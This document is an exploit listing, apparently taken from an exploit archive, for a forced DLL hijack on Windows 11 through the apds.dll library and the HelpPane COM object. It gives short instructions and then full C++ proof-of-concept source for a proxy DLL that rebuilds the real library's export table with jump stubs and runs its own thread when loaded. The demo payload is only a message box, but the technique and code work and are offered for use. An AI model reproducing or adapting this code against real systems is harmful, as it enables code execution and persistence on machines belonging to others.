Share
## https://sploitus.com/exploit?id=PACKETSTORM:175006
#---------------------------------------------------------  
# Title: Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)  
# Date: 2023-09-01  
# Author: Moein Shahabi  
# Vendor: https://www.microsoft.com  
# Version: Windows 11 Pro 10.0.22621  
# Tested on: Windows 11_x64 [eng]  
  
#---------------------------------------------------------  
  
  
Description:  
  
HelpPane object allows us to force Windows 11 to DLL hijacking   
  
Instructions:  
  
1. Compile dll  
2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory   
3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CEC58AE-07A1-11D9-B15E-000D56BFE6EE'))"  
4. Boom DLL Hijacked!  
  
  
------Code_Poc-------  
#pragma once  
#include <Windows.h>  
  
  
  
// Function executed when the thread starts  
extern "C" __declspec(dllexport)  
DWORD WINAPI MessageBoxThread(LPVOID lpParam) {  
MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);  
return 0;  
}  
  
PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) {  
#ifdef _WIN64  
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;  
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);  
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;  
  
// Create some breathing room  
baseAddress = baseAddress + optionalHeader->SizeOfImage;  
  
for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {  
PBYTE usuable = (PBYTE)VirtualAlloc(  
offset,  
size,  
MEM_RESERVE | MEM_COMMIT,  
protection);  
  
if (usuable) {  
ZeroMemory(usuable, size); // Not sure if this is required  
return usuable;  
}  
}  
#else  
// x86 doesn't matter where we allocate  
  
PBYTE usuable = (PBYTE)VirtualAlloc(  
NULL,  
size,  
MEM_RESERVE | MEM_COMMIT,  
protection);  
  
if (usuable) {  
ZeroMemory(usuable, size);  
return usuable;  
}  
#endif  
return 0;  
}  
  
BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase)  
{  
#ifdef _WIN64  
BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax <Addr>  
BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax  
#else  
BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax <Addr>  
BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax  
#endif  
  
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase;  
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);  
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;  
PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];  
if (exportDataDirectory->Size == 0)  
return FALSE; // Nothing to forward  
  
PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);  
  
if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames)  
return FALSE; // TODO: Add support for DLLs with mixed ordinals  
  
dosHeader = (PIMAGE_DOS_HEADER)ourBase;  
ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);  
optionalHeader = &ntHeaders->OptionalHeader;  
exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];  
if (exportDataDirectory->Size == 0)  
return FALSE; // Our DLL is broken  
  
PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);  
  
// ----------------------------------  
  
// Make current header data RW for redirections  
DWORD oldProtect = 0;  
if (!VirtualProtect(  
ourExportDirectory,  
64, PAGE_READWRITE,  
&oldProtect)) {  
return FALSE;  
}  
  
DWORD totalAllocationSize = 0;  
  
// Add the size of jumps  
totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID));  
  
// Add the size of function table  
totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT);  
  
// Add total size of names  
PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames);  
for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++)  
totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1;  
  
// Add size of name table  
totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT);  
  
// Add the size of ordinals:  
totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);  
  
// Allocate usuable memory for rebuilt export data  
PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE);  
if (!exportData)  
return FALSE;  
  
PBYTE sideAllocation = exportData; // Used for VirtualProtect later  
  
// Copy Function Table  
PINT newFunctionTable = (PINT)exportData;  
CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT));  
exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT);  
ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase);  
  
// Write JMPs and update RVAs in the new function table  
PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions);  
for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) {  
newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase);  
  
CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix));  
exportData += sizeof(jmpPrefix);  
  
PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]);  
CopyMemory(exportData, &realAddress, sizeof(LPVOID));  
exportData += sizeof(LPVOID);  
  
CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix));  
exportData += sizeof(jmpSuffix);  
}  
  
// Copy Name RVA Table  
PINT newNameTable = (PINT)exportData;  
CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD));  
exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD);  
ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase);  
  
// Copy names and apply delta to all the RVAs in the new name table  
for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) {  
PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]);  
DWORD length = (DWORD)strlen((LPCSTR)realAddress);  
CopyMemory(exportData, realAddress, length);  
newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase);  
exportData += length + 1;  
}  
  
// Copy Ordinal Table  
PINT newOrdinalTable = (PINT)exportData;  
CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT));  
exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);  
ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase);  
  
// Set our counts straight  
ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions;  
ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames;  
  
if (!VirtualProtect(  
ourExportDirectory,  
64, oldProtect,  
&oldProtect)) {  
return FALSE;  
}  
  
if (!VirtualProtect(  
sideAllocation,  
totalAllocationSize,  
PAGE_EXECUTE_READ,  
&oldProtect)) {  
return FALSE;  
}  
  
return TRUE;  
}  
// Executed when the DLL is loaded (traditionally or through reflective injection)  
BOOL APIENTRY DllMain(HMODULE hModule,  
DWORD ul_reason_for_call,  
LPVOID lpReserved  
)  
{  
HMODULE realDLL;  
switch (ul_reason_for_call)  
{  
case DLL_PROCESS_ATTACH:  
CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);  
realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll");  
if (realDLL)  
ProxyExports(hModule, realDLL);  
  
  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
return TRUE;  
}  
--------------------------